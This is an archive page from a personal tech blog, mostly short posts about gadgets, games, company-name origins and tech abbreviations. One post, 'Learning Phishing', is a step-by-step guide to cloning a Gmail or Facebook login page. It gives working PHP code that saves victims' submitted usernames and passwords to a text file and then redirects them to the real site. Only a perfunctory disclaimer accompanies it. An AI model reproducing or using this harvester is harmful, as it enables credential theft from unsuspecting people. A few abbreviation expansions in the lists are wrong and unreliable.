Tech IT Wiz

Custom Rom for Micromax Canvas 2.2

2014-06-20T22:28:00.001-07:00

Hello viewers,
Today i'll share a Custom Rom for Canvas 2.2 with you guys. I call it the Xtreme(Galaxy s5 UI).

Well, you guys know that the canvas 2.2 is a pretty powerful phone and has cool specs. It is one of the best phones in 10k range.
For installing this custom rom, make sure that you have CWM Recovery and root access. The download link can be found at the end.

Installation of the ROM (Steps)

-Backup your Files with the help of ROM Manager.

-Download the ROM (Flashable Zip) and place it in the root of the SD Card

-Shut down your device and go to recovery menu by pressing the volume rocker and power button simultaneously.

-Clear the data, dalvik cache and system

-After that, go to Install update from SD card, select the appropriate zip file and flash it.

-Have patience, it'll take some time

-And Voilà, the ROM has been installed.

Download Link
http://j.gs/3w0a

*And do tell us if you are facing any problems and bugs :D Always happy to help.

Screenshots... (Actual device screenshots are a bit different, i have changed the launcher and font and 1 original screenshot)

E3-2014

2014-06-12T08:08:00.001-07:00

The Electronic Entertainment Expo 2014, commonly known as E3 2014, is the 20th Electronic Entertainment Expo event. The event is scheduled to take place at the Los Angeles Convention Center in Los Angeles, CA from June 10, 2014 to June 12.

Microsoft, Sony, Ubisoft, EA, Nintendo introduced games for varying platform. Many notable exhibitors had presented their games. With the gaming industry advancing rapidly, the gamers expected to see many things this yeah. And they were really happy. Sequels and most awaited games were shown in E3.

Many many many games. But yeah, have to wait till game releases. But, this years E3 is full of surprises.

For PC gamers-GTA V is coming for Windows. Brace yourselves.

Here are some pics-

Next Gen Hitman Game :D

2014-01-19T08:02:00.002-08:00

Hitman Absolution

The badass with a barcode is back... A possible trademark for the name, Hitman: Profession, was filed in Europe in December 2011. On January 6, 2014 it was reported through IGN that Square Enix Montreal will be working to develop tablet and smartphone Hitman games.
On the 16 January 2014 an open letter was filed by IO Interactive for the fans, sharing details on the next game.

Here is the letter:

"Dear Hitman fans,
We wanted to share this open letter with all of you out there eagerly awaiting more news about what’s happening next in the franchise.
At Io-Interactive right now, we are building the next AAA Hitman game for PC and next-gen consoles. It has our total focus and we wanted to take a moment to tell you a few things about it.
In the next game you will experience a globetrotting Agent 47 at the prime of his career – the apex predator stalking his prey across the world, with the support of his long-term handler Diana Burnwood and the whole of the ICA.
The game concentrates on the core Hitman fantasy of using a wide range of tools to take out a diverse group of targets across expansive, exotic locations around the world. We are building this game on the backbone of the Glacier 2 engine, using the best parts and what we have learnt through Hitman: Absolution and drawing inspiration from past titles like Contracts and Blood Money to fulfil the core Hitman fantasy. That means we’re packing in an extreme level of detail on the largest levels we have ever built for a Hitman game. We’ve adopted an open, non-linear level design approach to the game, ensuring the game will play out across huge, checkpoint-free, sandbox levels. Our aim is to create living, breathing and believable levels which will allow gamers to play around with the AI to create those unique moments every fan of the Hitman franchise loves.
Contracts Mode is back – you will be able to create and build challenges by experimenting with the large levels and possibilities within them. And of course, you can share them with the world and challenge your friends or foes to complete your hits. Your rules, your Contracts.
You will also be glad to hear that we have removed 47’s magic pockets. We believe that’s all we need to say about that subject.
As we get further into 2014, we will reveal more and get into much closer contact with all of you. There are so many things we have planned and we are extremely excited for the future of Hitman.
Thank you all for your dedication. We will share much, much more in the coming months.
The Io-Interactive Team"

Learning Phishing

2014-01-09T23:00:00.002-08:00

Hello Readers,
Today im going to give you a brief idea about Phishing. This will also include a tutorial on how to acquire sensitive information by using phishing*

*Disclaimer- We wont be responsible for your actions. If you get caught, you will face horrendous consequences and may even end up in prison. Remember, phishing is cyber-crime.

What is Phishing..?
Phishing is an attempt to get sensitive information from an user by masquerading yourself as trustworthy. In simple language, you use as alias of yourself and all you do is manipulate yourself in such a way that you gain trust of your prey inturn to retrieve the required information..

Here is how you'll do it :

Register into any free web hosting fight. Here are some-->Heliohost, x10hosting, Myownfreehost etc
Then all you need is Source Page Code of any trusted website..like gmail or facebook.
If you are using Chrome/Firefox, you can just right click on the page and select view page source.
You'll see a a new tab pop-up. Go to the tab and copy all the contents.
Open up Notepad and paste it.
Press Ctrl+F in Notepad window to find "action" (this will contain something related to login) and replace it with "Phish.php" and set the method to "get."
Save this file as index.html. (You can give any name, but the extension should be html type)
Copy the following code to Notepad (new file) And save it as phish.php :

<?php

header(”Location: http://www.facebook.com/login.php “);

$handle = fopen(”passwords.txt”, “a”);

foreach($_GET as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, “=”);

fwrite($handle, $value);

fwrite($handle, “\r\n”);

}

fwrite($handle, “\r\n”);

fclose($handle);

exit;

Now create another file using notepad and save it as passwords.txt
If your web hosting site allows you to upload files then upload all the existing files. If not, you can create files on the web hosting site and put the code accordingly, i.e just copy paste exsting code and name the files accordingly.. :D
Cheers! You are done :D
If the prey enters his/her email id and password, it'll be transferred and saved in the passwords.txt :D

Any related questions or doubts, you can post a comment or follow me on facebook, googleplus, twitter :-) I'll do my best to answer your questions. Thank you for reading..!

Razer:Project Christine

2014-01-09T07:31:00.000-08:00

Razer, the famous gaming accessories maker unveiled its Project Christine which consists of central tower spine chassis into which users can slot in a combination of modules of their choosing to provide the CPU, GPU, Storage options and more....

Razer calls the new system "the world's most modular PC design". It says that for the duration of the history of the PC until today "only the most hardcore enthusiasts were able to take advantage of PC customizability". However Razer's new fully modular concept allows users to build and customise PCs without any technical knowledge at all. The firm says you can "choose any module on-the-fly in any combination, whether it’s the CPU, memory, graphics card, storage or power supply module, and simply plug it in," then, thanks to the PCI-Express architecture of the machine, components are recognised and utilised by the system.

Quad SLI capable

One of the great benefits of PCs is their upgradability and Razer claims that Project Christine is "perpetually customisable," and upgradeable as technology evolves. Components can be either added to or replaced; consider adding extra storage or even extra graphics card modules this way "up to quad-SLI graphics".

Focussing upon the module building block design Razer informs us that each cable-less sealed module is a self contained unit that features (if required) active liquid cooling and noise cancellation.

"Project Christine is a new concept design that will revolutionize the way users view the traditional PC. This is the first gaming system that is able to keep pace with technology and could allow consumers to never buy another PC, or gaming system, again," says Min-Liang Tan, Razer co-founder, CEO and creative director. "We have a history of bringing incredibly innovative concept systems to market and it's fair to say that Project Christine is a very exciting new prospect for future development."

Mobile Computing Redifined

2014-01-08T22:21:00.000-08:00

Nvidia Showdown

192 cores this is certainly a beast and a beauty . Yes imagine playing pc like games on your PDA very much reality in 2014.

Quoting NVIDIA -"The innovative new Tegra K1 processor features the same high-performance, power-efficient NVIDIA Kepler™-based GPU that drives the world's most powerful supercomputers and PC gaming systems. This means you can now count on even more unbelievable graphics performance, powerful computing, and truly unique features in every Tegra K1-powered mobile device. -"

Specifications at a glance-

TEGRA K1 PROCESSOR SPECIFICATIONS

	Tegra K1
GPU
NVIDIA® Kepler™ Architecture	192 NVIDIA CUDA® Cores
CPU
CPU Cores and Architecture	NVIDIA 4-Plus-1™ Quad-Core ARM Cortex-A15 "r3"
Max Clock Speed	2.3 GHz
Memory
Memory Type	DDR3L and LPDDR3
Max Memory Size	8 GB (with 40-bit address extension)
Display
LCD	3840x2160
HDMI	4K (UltraHD, 4096x2160)
Package
Package Size/Type	23x23 FCBGA 16x16 S-FCCSP 15x15 FC PoP
Process	28 nm

This the first in line innovative mobile gpu we will be looking forward in 2014. Certainly worth getting hands on.

In order for the Tegra K1 to gain full acceptance in the developer community, device makers might need to come together and see if they can come up with some sort of controller standard that will make it easier on developers to produce games that run seamlessly on multiple controllers. Touch-screen interfaces are one thing. But if companies want to build hardware controllers that control titles on-screen, and Nvidia gets its way with dozens of companies building set-top boxes, an industry standard would be necessary.

But Nothing Is Going to Change Soon

As great as the Tegra K1 sounds, it won't be an immediate game-changer. Nvidia will deliver a 32-bit version of the K1 in the first half of 2014. The 64-bit option will be available by year's end, assuming all goes well with chip yields. From there, device makers need to integrate the chip into their products, bundle their software and start the marketing process. The new-generation console competitors might not hit the market for a year or more. Some industry veterans suspect that it will be at least three to five years before mobile devices could ever take on the dedicated consoles—partly because of power-consumption problems with these new high-end chips. For now, not much will change. But at some point, everything could change.

Still fingers crossed :)

@Changing for the good.

CES 2014

2014-01-08T01:40:00.001-08:00

Intel confirms Dual OS computers that run both Windows and Android

It barely got a mention at Intel's CES 2014 press conference this evening, but Dual OS is real. The company confirmed that Intel processors will power computers that can switch between Windows and Android with the press of a button, just like the Asus Transformer Book Duet we tried earlier today. Intel demonstrated the technology on a laptop during the company's press conference, right after introducing "Intel Device Protection Technology," an idea that should help Intel-based Android devices meet corporate standards for enterprise security.

Intel isn't the only company pursuing Windows and Android in the same device here at CES, however. Earlier today, AMD announced a partnership with BlueStacks to run fullscreen and windowed Android apps within Windows itself, with the help of an ARM processor core inside new AMD chips that can run some Android code natively. That sounds more like the experience we had with the Samsung Ativ Q's combination of Windows and Android back in June — though that technology was branded "Dual OS" rather than identifying itself as a BlueStacks solution.

coutesy-theverge

Mystery of Names

2012-11-05T01:53:00.001-08:00

Adobe Systems

++The Adobe Creek that ran behind the house of co-founder John Warnock.

Apple Computers

++It was the favourite fruit of founder Steve Jobs. He was three months late in filing a name for the business, and he threatened to call his company Apple Computers if the other colleagues didn't suggest a better name by 5 O'clock.

Asus

++Named after Pegasus, the winged horse of Greek mythology. The first three letters of the word were dropped to get a high position in alphabetical listings. An Asus company named Pegatron, using the spare letters, was spun off in 2008.

CISCO

++It is not an acronym as popularly believed. It is short for San Francisco.

Compaq

++This name was formed by using COMp, for computer, and PAQ to denote a small integral object.

++Computer Associates was founded in 1976 as Computer Associates International, Inc. by Charles Wang

Corel

++The name was derived from the founder's name Dr.Michael Cowpland. It stands for COwpland REsearch Laboratory.

Dell

++Named after its founder, Michael Dell. The company changed its name from Dell Computer in 2003.

EA Games

++ EA is from Electronic Arts. The company was founded in May 1982 as Amazin' Software and changed its name to Electronic Arts in October the same year.

eBay

++Pierre Omidyar, who had created the Auction Web trading website, had formed a web consulting concern called Echo Bay Technology Group. "Echo Bay" did not refer to the town in Nevada, "It just sounded cool", Omidyar reportedly said. Echo Bay Mines Limited, a gold mining company, had already taken EchoBay.com, so Omidyar registered what (at the time) he thought was the second best name: eBay.com.

Facebook

++Name stems from the colloquial name of books given to newly enrolled students at the start of the academic year by university administrations in the US with the intention of helping students to get to know each other better.

Google

++The name started as a joke boasting about the amount of information the search-engine would be able to search. It was originally named 'Googol', a word for the number represented by 1 followed by 100 zeros.After founders - Stanford graduate students Sergey Brin and Larry Page presented their project to an angel investor, they received a cheque made out to 'Google'

Hotmail

++Founder Jack Smith got the idea of accessing e-mail via the web from a computer anywhere in the world.When Sabeer Bhatia came up with the business plan for the mail service, he tried all kinds of names ending in 'mail' and finally settled for hotmail as it included the letters "html" - the programming language used to write web pages. It was initially referred to as HoTMaiL with selective uppercasing.

Hewlett Packard

++Bill Hewlett and Dave Packard tossed a coin to decide whether the company they founded would be called Hewlett-Packard or Packard-Hewlett.

Hotmail

++Founder Jack Smith got the idea of accessing e-mail via the web from a computer anywhere in the world. When Sabeer Bhatia came up with the business plan for the mail service he tried all kinds of names ending in 'mail' and finally settled for Hotmail as it included the letters "HTML" – the markup language used to write web pages. It was initially referred to as HoTMaiL with selective upper casing.

Intel

++Bob Noyce and Gordon Moore wanted to name their new company 'Moore Noyce' but that was already trademarked by a hotel chain so they had to settle for an acronym of INTegrated ELectronics.

IBM

++Named by Tom (Thomas John) Watson Sr, an ex-employee of National Cash Register (NCR Corporation). To one-up them in all respects, he called his company International Business Machines.

ICL

++Abbreviation for International Computers Limited, once the UK's largest computer company but now a service arm of Fujitsu, of Japan.

Lotus (Notes)

++Mitch Kapor got the name for his company from 'The Lotus Position' or 'Padmasana'. Kapor used to be a teacher of Transcendental Meditation of Maharishi Mahesh Yogi.

++From the combination of two popular Korean brands, Lucky and Goldstar. (In Mexico, publicists explained the name change as an abbreviation to Linea Goldstar, Spanish for Goldstar Line)

Microsoft

++Coined by Bill Gates to represent the company that was devoted to MICROcomputer SOFTware. Originally christened Micro-Soft, the '-' was removed later on.

Motorola

++Founder Paul Galvin came up with this name when his company started manufacturing radios for cars. The popular radio company at the time was called Victrola.

ORACLE

++Larry Ellison and Bob Oats were working on a consulting project for the CIA (Central Intelligence Agency). The code name for the project was called Oracle (the CIA saw this as the system to give answers to all questions or something such). The project was designed to help use the newly written SQL code by IBM. The project eventually was terminated but Larry and Bob decided to finish what they started and bring it to the world. They kept the name Oracle and created the RDBMS engine. Later they kept the same name for the company.

Research In Motion

++From the phrase "poetry in motion", which company founder Mike Lazaridis had seen used to describe a football player.

Sega

++Service Games of Japan was founded by Marty Bromley (an American) to import pinball games to Japan for use on American military bases.

Skype

++The original concept for the name was Sky-Peer-to-Peer, which morphed into Skyper, then Skype.

Sony

++It originated from the Latin word 'sonus' meaning sound, and 'sonny' a slang used by Americans to refer to a bright youngster.

SUN

++Founded by 4 Stanford University buddies, SUN is the acronym for Stanford University Network. Andreas Bechtolsheim built a microcomputer; Vinod Khosla recruited him and Scott McNealy to manufacture computers based on it, and Bill Joy to develop a UNIX-based OS for the computer.

Twitter

++Having rejected the name Twitch for their social networking service, co-founder Jack Dorsey says: "we looked in the dictionary for words around it and we came across the word 'twitter' and it was just perfect. The definition was 'a short burst of inconsequential information', and 'chirps from birds'. And that's exactly what the product was."

Ubuntu Foundation

++Named from a Zulu word (ùɓúntú) that translates as "humanity to others".

Vodafone

++From Voice, Data, Telefone. Vodafone made the UK's first mobile call at a few minutes past midnight on 1 January 1985.

Wipro

++From Western India Palm Refined Oil Ltd Wipro Technologies. The company started as a modest Vanaspati and laundry soap producer and is now also an IT services giant.

Xerox

++Named from xerography, a word derived from the Greek xeros (dry) and graphos (writing). The company was founded as The Haloid Company in 1906, launched its first XeroX copier in 1949, and changed its name to Haloid Xerox in 1958.

Yahoo!

++The word was invented by Jonathan Swift and used in his book 'Gulliver's Travels'. It represents a person who is repulsive in appearance and action and is barely human. Yahoo! Founders Jerry Yang and David Filo selected the name because they considered themselves yahoos

Tech Abbreviations (Q-Z) part-3

2012-10-10T03:48:00.000-07:00

Tech abbreviations part-3

Ø QDR-Quad Data Rate

Ø QoS - Quality of Service

Ø RAID - Redundant Array of Inexpensive Disks

Ø RAM - Random Access Memory

Ø RC - Release Candidate

Ø RDBMS - Relational Database Management System

Ø RDF - Resource Description Framework

Ø RDRAM- Rambus Dynamic Random Access Memory

Ø RF - Radio Frequency

Ø RFI - Radio Frequency Interference

Ø RFID - Radio Frequency Identification

Ø RGB - Red, Green, Blue

Ø RIP - Routing Information Protocol

Ø RISC- Reduced Instruction Set Computing

Ø RLE - run-length encoding

Ø ROM - Read Only Memory

Ø RPC -Remote Procedure Call

Ø RSA - Rivest Shamir Adelman

Ø RSS- RDF Site Summary

Ø RTE-Runtime Environment

Ø RTF -Rich Text Fomat

Ø RUP -Rational Unified Process

Ø SAN - Storage Area Network

Ø SATA Serial Advanced Technology Attachment

Ø SCP - Secure Copy

Ø SCSI Small Computer System Interface

Ø SD Secure Digital

Ø SDK - Software Developer's Kit

Ø SDRAM Synchronous Dynamic Random Access Memory

Ø SDSL Symmetric Digital Subscriber Line

Ø SEAL - Semantics-directed Environment Adaptation Language

Ø SEI - Software Engineering Institute

Ø SEO Search Engine Optimization

Ø SIMM Single In-Line Memory Module

Ø SLI Scalable Link Interface

Ø SMART Self-Monitoring Analysis And Reporting Technology

Ø SMB Server Message Block

Ø SMP - Symmetric Multi-Processing

Ø SMS Short Message Service

Ø SMTP - Simple Mail Transfer Protocol

Ø SNMP Simple Network Management Protocol

Ø SOA Service Oriented Architecture

Ø SOAP Simple Object Access Protocol

Ø SO-DIMM Small Outline Dual In-Line Memory Module

Ø SP - Service Pack

Ø SQL Structured Query Language

Ø SRAM Static Random Access Memory

Ø sRGB Standard Red Green Blue

Ø SSH Secure Shell

Ø SSI - Server Side Include

Ø SSID Service Set Identifier

Ø SSL Secure Sockets Layer

Ø SVG - Scalable Vector Graphics

Ø TB - Terabyte

Ø TCP/IP - Transmission Control Protocol/Internet Protocol

Ø TFT Thin-Film Transistor

Ø TIFF -Tagged Image File Format

Ø TLD - top-level domain

Ø TSP - Traveling Salesman Problem

Ø TTL - transistor to transistor logic

Ø TTL- Time To Live

Ø TWAIN -Toolkit Without An Informative Name

Ø UDDI Universal Description Discovery and Integration

Ø UDP User Datagram Protocol

Ø UHF - Ultra High Frequency

Ø UML Unified Modeling Language

Ø UNC Universal Naming Convention

Ø UPnP Universal Plug and Play

Ø UPS - Uninterruptible Power Supply

Ø URI - Uniform Resource Identifier

Ø URL - Uniform Resource Locator

Ø USB Universal Serial Bus

Ø VB - Visual Basic

Ø VBA - Visual Basic for Applications

Ø VBS - Visual Basic Script

Ø VCI Virtual Channel Identifier

Ø VFAT Virtual File Allocation Table

Ø VGA - Variable Graphics Array

Ø VGA Video Graphics Array

Ø VHF - Very High Frequency

Ø VLB - Vesa Local Bus

Ø VLF - Very Low Frequency

Ø VoIP Voice Over Internet Protocol

Ø VPI Virtual Path Identifier

Ø VPN Virtual Private Network

Ø VRAM Video Random Access Memory

Ø VRML - Virtual Reality Markup Language

Ø WAIS- Wide Area Information Server

Ø WAN- Wide Area Network

Ø WAP - wireless application protocol

Ø WEP - Wired equivalent protocol

Ø WEP -Wired Equivalent Privacy

Ø Wi-Fi -Wireless Fidelity

Ø WOL - Wake on LAN

Ø WPA -Wi-Fi Protected Access

Ø WWW - World Wide Web

Ø XHTML - eXtensible Hypertext Markup Language

Ø XML Extensible Markup Language

Ø XP - Cross Platform (not Windows XP)

Ø XPCOM - Cross Platform Component Object Model

Ø XPI - Cross Platform Installer

Ø XPIDL - Cross Platform IDL

Ø XSLT Extensible Style Sheet Language Transformation

Ø ZIF - Zero Insertion Force

Tech Abbreviations (H-P) part 2

2012-10-01T04:48:00.001-07:00

Tech abbreviations part-2

Ø HAL - Hardware Abstraction Layer

Ø HCI - Human Computer Interaction

Ø HDD - Hard Disk Drive

Ø HDMI- High-Definition Multimedia Interface

Ø HDTV- High Definition Televsion

Ø HDV- High-Definition Video

Ø HF - High Frequency

Ø HFS- Hierarchical File System

Ø HSF- Heat Sink and Fan

Ø HTML - Hypertext Markup Language

Ø HTTP - Hypertext Transport Protocol

Ø Hz – Hertz

Ø I/O- Input/Output

Ø IBM - International Business Machines

Ø IC - Integrated Circuit

Ø ICANN -Internet Corporation For Assigned Names and Numbers

Ø ICF -Internet Connection Firewall

Ø ICMP- Internet Control Message Protocol

Ø ICS- Internet Connection Sharing

Ø IDE Integrated Device Electronics or Integrated Development Environment

Ø IDL - Interface Definition Layer

Ø IEEE Institute of Electrical and Electronics Engineers

Ø IGP Integrated Graphics Processor

Ø IM - Instant Messaging

Ø IMAP Internet Message Access Protocol

Ø InterNIC Internet Network Information Center

Ø IP - Internet Protocol

Ø IPX Internetwork Packet Exchange

Ø IRC - Internet Relay Chat

Ø IRQ - Interrupt Request

Ø IS - Information Systems

Ø ISA - Industry Standard Architechture

Ø ISDN- Integrated Services Digital Network

Ø ISO - International Organization for Standardization

Ø ISP - Internet Service Provider

Ø IT - Information Technology

Ø IVR Interactive Voice Response

Ø JDK - Java Developer's Kit

Ø JFS - Journaling filesystem

Ø JPEG - Joint Photographic Experts Group

Ø JRE Java Runtime Environment

Ø JS - Javascript

Ø JSP - Java Server Page

Ø KB – Kilobyte

Ø Kbps -Kilobits Per Second

Ø KDE - K Desktop Environment

Ø kHz - Kilohertz

Ø KVM Switch Keyboard, Video, and Mouse Switch

Ø LAN - Local Area Network

Ø LCD -Liquid Crystal Display

Ø LDAP - Lightweight Directory Access Protocol

Ø LED - Light Emitting Diode

Ø LF - Low Frequency

Ø LIFO - Last In First Out

Ø LOC - Lines of Code

Ø LPI- Lines Per Inch

Ø LUG - Linux User's Group

Ø LUN -Logical Unit Number

Ø MAC- Address Media Access Control Address

Ø MAN- Metropolitan Area Network

Ø MANET- Mobile Ad Hoc Network

Ø MB – Megabyte

Ø Mbps- Megabits Per Second

Ø MCA -Micro Channel Architecture

Ø MCSE - Microsoft Certified System Engineer

Ø MHz – Megahertz

Ø MIDI -Musical Instrument Digital Interface

Ø MIPS- Million Instructions Per Second

Ø MMU - Memory Management Unit

Ø MOSFET - Metal-oxide semiconductor FET

Ø MP3 -MPEG-1 Audio Layer-3

Ø MPEG - Motion Pictures (Coding) Experts Group

Ø MPEG -Moving Picture Experts Group

Ø MPL - Mozilla Public License

Ø MS - Microsoft

Ø MSDN - Microsoft Developer's Network

Ø MS-DOS - Microsoft DOS

Ø MTU -Maximum Transmission Unit

Ø MUD - Multi-user dungeon

Ø NAT- Network Address Translation

Ø NDS - Novell Directory Services

Ø NetBIOS -Network Basic Input/Output System

Ø NFS - Network filesystem

Ø NIC -Network Interface Card

Ø NMI - Non-Maskable Interrupt

Ø NNTP - Network News Transfer Protocol

Ø NOC -Network Operations Center

Ø NP - Non-polynomial

Ø NPL - Netscape Public License

Ø NPU - Numeric processing unit?

Ø NTFS - NT file system

Ø OASIS Organization for the Advancement of Structured Information Standards

Ø OCR Optical Character Recognition

Ø ODBC Open Database Connectivity

Ø OEM Original Equipment Manufacturer

Ø OLAP Online Analytical Processing

Ø OLE Object Linking and Embedding

Ø OLED - Organic Light Emitting Diode

Ø OO - Object Oriented

Ø OO - Open Office

Ø OOo - openoffice.org

Ø OOP - Object Oriented Programming

Ø OS - Operating System

Ø OSDN - Open Source Developer's Network

Ø OSI - Open Source Initiative

Ø OSI - Open Systems Interconnect

Ø OSPF Open Shortest Path First

Ø OSS - Open Source Software

Ø P2P Peer To Peer

Ø PAN - Personal Area Network

Ø PC - personal computer

Ø PC Personal Computer

Ø PCB - Printed Circuit Board

Ø PCB Printed Circuit Board

Ø PCI Peripheral Component Interconnect

Ø PCI-X Peripheral Component Interconnect Extended

Ø PCM - Pulse Coded Modulation

Ø PCMCIA - Personal Computer Memory Card International Association

Ø PDA - Personal digital assistant

Ø PDF -Portable Document Format

Ø PERL - Practical Extraction and Reporting Language

Ø PGA - Programmable Gate Arrays

Ø PGP - Pretty Good Privacy

Ø PHP -Hypertext Preprocessor

Ø PIM Personal Information Manager

Ø PNG - Portable Network Graphics

Ø POP - Point of Presence

Ø POP3- Post Office Protocol

Ø PPC -Pay Per Click

Ø PPGA- Plastic Pin Grid Array

Ø PPI -Pixels Per Inch

Ø PPL- Pay Per Lead

Ø PPP -Point to Point Protocol

Ø PPTP- Point-to-Point Tunneling Protocol

Ø PRAM -Parameter Random Access Memory

Ø PVR - Personal Video Recorder

Ø PXE - Pre Excecution Environment

Tech Abbreviations (A-G) part-1

2012-09-29T09:16:00.000-07:00

Tech abbreviations part-1

Ø AAC - Advanced Audio Coding

Ø ACID - Atomiticy Consistency Isolation Durability

Ø ACPI - Advanced Configuration and Power Interface

Ø ADF Automatic Document Feeder

Ø ADO - ActiveX Data Object

Ø ADSL - Asymmetric Digital Subscriber Line, variant of DSL

Ø AGP - Accelerated Graphics Port

Ø AI - artificial intelligence

Ø AIFF- Audio Interchange File Format

Ø AIX- Advanced Interactive Executive

Ø AIM - AOL Instant Messenger

Ø AMD - Advanced Micro Devices

ØAMI - American Megatrends ... (BIOS manufacturer)

Ø ANSI - American National Standards Institute

Ø AOL - America Online

Ø APCI - Application-Layer Protocol Control Information

Ø API - Application Programming Interface

Ø ASCII - American Standard Code for Information Interchange

Ø ASP - Application Service Provider or Application Service Provider

Ø ASP -Active Server Page ATA Advanced Technology Attachment

Ø ATM- Asynchronous Transfer Mode

Ø AVI - Audio Video Interleaved

Ø BASIC - Beginner's All-purpose Symbolic Instruction Code, acronym was added later, originally it was simply Basic

Ø BBS - Bulletin Board System

Ø Bcc Blind Carbon Copy

Ø BIND - Berkeley Internet Name Daemon

Ø BIOS - Basic Input Output System

Ø Blob -Binary Large Object

Ø BMP- Bitmap

Ø BJT - Bipolar Junction Transistor

Ø BSA - Business Software Alliance

Ø BSD - Berkeley Software Distribution (Unix variant)

Ø BSOD - Blue Screen of Death (MS Windows specific)

Ø CAD - Computer Aided Design

Ø Cc Carbon Copy

Ø CCD- Charged Coupled Device

Ø CDMA -Code Division Multiple Access

Ø CD-R - CD-Recordable

Ø CD-RW - CD-Rewritable

Ø CF - Compact Flash

Ø CFG - Context-free grammar - control flow graph

Ø CG - Computer Graphics

Ø CGI -Common Gateway Interface

Ø CGA - Color Graphics Array

Ø CGI - Common Gateway Interface

Ø CLI - Command Line Interface

Ø CM - Configuration Management

Ø CMOS- Complementary Metal Oxide Semiconductor

Ø COM - Component Object Model

Ø CPAN - Comprehensive Perl Area Network

Ø CPA -Cost Per Action

Ø CPC -Cost Per Click

Ø CPL- Cost Per Lead

Ø CPM- Cost Per 1,000 Impressions

Ø CPS -Classroom Performance System

Ø CPU - Central Processing Unit

Ø CRC - Cyclic Redundancy Check

Ø CRT - Cathode Ray Tube

Ø CRM Customer Relationship Management

Ø CS - Computer Science

Ø CISC -Complex Instruction Set Computing

Ø CSE - Computer Science Engineering

Ø CSS - Cascading Style Sheets

Ø CT - Computerized Tomography

Ø CVS - Concurrent Versioning System

Ø CRT -Cathode Ray Tube

Ø DAO - Data Access Objects

Ø DB – database

Ø DBMS Database Management System

Ø DBA - database administrator

Ø DBMS - Database Management System

Ø DDR -Double Data Rate

Ø DDR2 -Double Data Rate 2

Ø DHCP- Dynamic Host Configuration Protocol

Ø DEC - Digital Equipment Company

Ø DHTML - Dynamic HTML

Ø DIMM - Dual Inline Memory Module

Ø DLL - Dynamic Load Library

Ø DMA - Direct Memory Addressing

Ø DN - Distinguished Name

Ø DND - drag and drop

Ø DNS - Domain Name Server

Ø DOM - Document Object Model

Ø DOS - Disk Operating System

Ø DPI- Dots Per Inch

Ø DRAM -Dynamic Random Access Memory

Ø DRM -Digital Rights Management

Ø DSL -Digital Subscriber Line

Ø DSLAM -Digital Subscriber Line Access Multiplexer

Ø DTD -Document Type Definition

Ø DV -Digital Video

Ø DVD -Digital Versatile Disc

Ø DVD+R- Digital Versatile Disc Recordable

Ø DVD+RW -Digital Versatile Disk Rewritable

Ø DVD-R -Digital Versatile Disc Recordable

Ø DVD-RAM -Digital Versatile Disc Random Access Memory

Ø DVD-RW- Digital Versatile Disk Rewritable

Ø ECC - Elliptic Curve Cryptography

Ø EDI Electronic Data Interchange

Ø ELF - Extremely Low Frequency

Ø EOF - End of File

Ø EOL - End of Life

Ø ERP - Enterprise Resource Planning

Ø EPS -Encapsulated PostScript

Ø EUP- Enterprise Unified Process

Ø FAT - File Allocation Table

Ø FAQ - Frequently Asked Questions

Ø FET - Field Effects Transistor

Ø FIFO - First In First Out

Ø FiOS -Fiber Optic Service

Ø FPGA - Field Programmable Gate Array

Ø FS - file system

Ø FSB -Frontside Bus

Ø FTP - File Transfer Protocol

Ø FPU- Floating Point Unit

Ø GB - Gigabyte

Ø GDB - GNU debugger

Ø GIF - Graphics Interchange Format

Ø GIGO- Garbage In Garbage Out

Ø GIMP - GNU Image Manipulation Program

Ø GIS -Geographic Information Systems

Ø GNOME - GNU Object Model Environment

Ø GNU - GNU's Not Unix

Ø GPG - GNU Privacy Guard

Ø GPL - GNU Public License

Ø GPS -Global Positioning System

Ø GRUB - GRand Unified Boot-loader

Ø GUI - Graphical User Interface

Ø GPU -Graphics Processing Unit

Ø GUI- Graphical User Interface

Evolution of Logos

2012-09-17T06:20:00.001-07:00

Evolution of Logos

Microsoft
In 1992 the Windows 3.1 logo was a literal window with four panes and a black frame that broke into tails on one side like a meteor. It remained the same until Windows XP was released in 2001. The Windows XP logo was minimalized down to just the four colored windowpanes floating with no frame – distinctly Windows but much simpler.

Mozilla Firefox

Originally a phoenix with wings outspread to match the program’s original name: Phoenix. For legal reasons, the name was changed to Firefox and the logo redrawn as a fiery fox and globe so unique, no words are necessary.

(Current logo)

Xerox
The history of Xerox’s logo began in 1937 when the company was known as Haloid Company. The name was replaced in 1961, following a highly acclaimed copier they developed, the Haloid Xerox 914. Since then, the ‘Xerox’ typeface became the only feature of the logo until 2008. This time, they put in a red ball-like symbol with the white letter ‘X’ painted on it, something that might allow people to recognize the company better.

Apple

The first Apple logo was created in 1976, where it features the famous scene of how Sir Issac Newton discovered gravity – sitting beneath an apple tree. In the same year, the logo was switched to one of a shape of an apple with rainbow stripes. It was then further simplified into a silhouetted apple image consisting of only black. Since the year 2000, the apple logo has been recognized as a monochrome apple.

(Current logo)

Canon

Canon’s first logo was indeed very different from what follows over the years. It was a depiction of the Buddhist’s Goddess of Mercy sitting on a lotus flower, with her thousands of arms and surrounded by flames. The next logo in line only retained its ‘Kwanon’ brand name, using unique typefaces. By 1935, Canon’s logo was changed to that of ‘Canon’. That logo was progressively refined till 1956, when it becomes the logo we see today.

(Current logo)

IBM
Down through the years, IBM (and its predecessor companies) has used a series of logos on signs, stationery, vehicles, products — and even flags — to make a distinctive statement and foster immediate recognition all over the world. Here are those logos.

          (Current logo)

Intel
Intel has two corporate logos starting from 1968.And various intel inside logos.Intel Inside. The campaign, which started in 1991, was created by Intel marketing manager Dennis Carter. The five-note jingle was introduced the following year and by its tenth anniversary was being heard in 130 countries around the world. The initial branding agency for the Intel Inside campaign was DahlinSmithWhite Advertising of Salt Lake City. The Intel swirl logo was the work of DahlinSmithWhite art director Steve Grigg under the direction of Intel president and CEO Andy Grove.
The Intel Inside advertising campaign sought public brand loyalty and awareness of Intel processors in consumer computers. Intel paid some of the advertiser's costs for an ad that used the Intel Inside logo and jingle.


   (old) (present from 2005)

LG

LG was formed from two different companies named Lucky (chemical cosmetic company, 1947) and Goldstar (radio manufacturing plant, 1958). Though, these were different companies they were essentially owned by one person. In 1995, Lucky Goldstar was renamed to LG Electronics.
Actually, LG is a chaebol (a South Korean conglomerate), so there’s a whole range of LG companies that also changed their names, such as LG Chemicals, LT Telecom, and even a baseball team called the LG Twins. These companies all adopted the “Life is Good” tagline you often see alongside its logo. LG denies that their name now stands for Lucky Goldstar. They’re just “LG.”

Nokia

